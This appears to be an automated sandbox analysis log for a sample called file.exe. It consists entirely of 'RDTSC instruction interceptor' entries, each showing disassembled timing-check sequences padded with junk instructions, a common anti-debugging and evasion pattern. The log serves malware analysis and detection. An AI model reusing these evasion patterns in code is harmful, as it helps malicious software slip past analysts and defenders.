Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02E45 second address: F02E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F3h 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007FB5588467E6h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 js 00007FB5588467EEh 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05D2E second address: F05D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8BBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05EA3 second address: F05EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB5588467F8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06410 second address: F06428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FB55958F8B6h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jc 00007FB55958F8B6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C73E second address: F0C742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C742 second address: F0C776 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push ecx 0x0000000f jg 00007FB55958F8B6h 0x00000015 jo 00007FB55958F8B6h 0x0000001b pop ecx 0x0000001c jmp 00007FB55958F8C0h 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push edx 0x00000026 pop edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C776 second address: F0C796 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jno 00007FB5588467E6h 0x00000011 pop edx 0x00000012 jo 00007FB5588467E8h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D037 second address: F0D044 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007FB55958F8B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D195 second address: F0D1C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FB5588467EEh 0x0000000c push esi 0x0000000d jmp 00007FB5588467F2h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D1C1 second address: F0D1C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E2D0 second address: F0E2D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16D0C second address: F16D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FB55958F8B8h 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FB55958F8BCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F5C second address: F21F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F60 second address: F21F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB55958F8C7h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007FB55958F8C7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25AAD second address: F25AD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB5588467EDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25AD3 second address: F25AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25639 second address: F2563D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2563D second address: F25643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F257B1 second address: F257D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB5588467E6h 0x0000000a jmp 00007FB5588467F3h 0x0000000f jnp 00007FB5588467E6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F257D5 second address: F25829 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB55958F8BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007FB55958F8B8h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FB55958F8C5h 0x00000018 jc 00007FB55958F8BEh 0x0000001e je 00007FB55958F8B6h 0x00000024 pushad 0x00000025 popad 0x00000026 js 00007FB55958F8CCh 0x0000002c jmp 00007FB55958F8C0h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DF6D second address: F2DF87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FB5588467F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DE08 second address: F2DE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8C2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DE1E second address: F2DE2E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB5588467F2h 0x00000008 jc 00007FB5588467E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35960 second address: F3596A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EDFE second address: F3EE03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EE03 second address: F3EE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D75F second address: F3D766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DFDC second address: F3DFE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40F7C second address: F40F90 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FB5588467E6h 0x0000000e jl 00007FB5588467E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43656 second address: F43660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43660 second address: F43676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52DB6 second address: F52DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52DBB second address: F52DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB5588467F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52DD1 second address: F52DDB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB55958F8B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54674 second address: F54692 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jg 00007FB5588467E6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB5588467ECh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54692 second address: F5469A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F544EB second address: F544F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB5588467E6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F544F7 second address: F544FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4EE9B second address: F4EEB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jl 00007FB5588467E6h 0x0000000f pop eax 0x00000010 pushad 0x00000011 jne 00007FB5588467E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F616E8 second address: F616EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F616EE second address: F616F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F616F8 second address: F616FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F616FE second address: F61702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61702 second address: F61708 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61708 second address: F6171A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jo 00007FB5588467E6h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A4DE second address: F7A4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A4E4 second address: F7A4F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 jng 00007FB5588467E6h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79541 second address: F7954F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB55958F8B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7954F second address: F79564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b jbe 00007FB5588467E6h 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79910 second address: F7993E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007FB55958F8B6h 0x0000000c jmp 00007FB55958F8C8h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 popad 0x00000015 push ecx 0x00000016 push esi 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79BFE second address: F79C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A02D second address: F7A033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A033 second address: F7A037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A191 second address: F7A195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A195 second address: F7A1D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F3h 0x00000007 js 00007FB5588467E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 jnl 00007FB5588467E6h 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a pushad 0x0000001b jmp 00007FB5588467F2h 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A1D4 second address: F7A1FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB55958F8C1h 0x00000010 jl 00007FB55958F8B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A1FF second address: F7A203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CE37 second address: F7CE3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CE3B second address: F7CE69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB5588467F0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E7A0 second address: F7E7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E7A5 second address: F7E7B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007FB5588467E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E7B0 second address: F7E7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E7BC second address: F7E7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FFB8 second address: F7FFEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FB55958F8F7h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB55958F8C2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8217F second address: F82185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D3E1 second address: E9D3EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D3EB second address: E9D3EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D582 second address: E9D5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FB55958F8B8h 0x0000000b popad 0x0000000c push eax 0x0000000d js 00007FB55958F8D4h 0x00000013 pushad 0x00000014 jmp 00007FB55958F8C6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0372 second address: 53C0376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0376 second address: 53C037C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C03E9 second address: 53C047C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB5588467F8h 0x00000008 sbb cx, EF28h 0x0000000d jmp 00007FB5588467EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007FB5588467F8h 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FB5588467EDh 0x00000025 sub si, 6DF6h 0x0000002a jmp 00007FB5588467F1h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007FB5588467F0h 0x00000036 sub ax, 3718h 0x0000003b jmp 00007FB5588467EBh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E08DE second address: 53E08F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E08F9 second address: 53E095C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB5588467F3h 0x00000013 jmp 00007FB5588467F3h 0x00000018 popfd 0x00000019 call 00007FB5588467F8h 0x0000001e pop ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E095C second address: 53E0977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB55958F8C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0977 second address: 53E09DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB5588467F1h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov si, 11F3h 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushfd 0x00000020 jmp 00007FB5588467EDh 0x00000025 sub esi, 62029A36h 0x0000002b jmp 00007FB5588467F1h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E09DD second address: 53E09E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E09E3 second address: 53E0A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB5588467F4h 0x00000013 add ax, 23B8h 0x00000018 jmp 00007FB5588467EBh 0x0000001d popfd 0x0000001e mov esi, 46169FEFh 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 mov bh, cl 0x00000028 popad 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FB5588467F4h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0A46 second address: 53E0A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0A4C second address: 53E0B0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FB5588467EEh 0x00000011 push eax 0x00000012 jmp 00007FB5588467EBh 0x00000017 xchg eax, esi 0x00000018 jmp 00007FB5588467F6h 0x0000001d lea eax, dword ptr [ebp-04h] 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FB5588467EEh 0x00000027 or esi, 56442D38h 0x0000002d jmp 00007FB5588467EBh 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007FB5588467F8h 0x00000039 sbb eax, 381EA798h 0x0000003f jmp 00007FB5588467EBh 0x00000044 popfd 0x00000045 popad 0x00000046 nop 0x00000047 jmp 00007FB5588467F6h 0x0000004c push eax 0x0000004d jmp 00007FB5588467EBh 0x00000052 nop 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B0C second address: 53E0B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B10 second address: 53E0B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B16 second address: 53E0B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FB55958F8BDh 0x00000014 jmp 00007FB55958F8C0h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B80 second address: 53E0B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B86 second address: 53E0BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FB55958F8C0h 0x00000012 je 00007FB55958F96Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0BB4 second address: 53E0BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0BB8 second address: 53E0BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0BE1 second address: 53E0BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0BE5 second address: 53E0C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
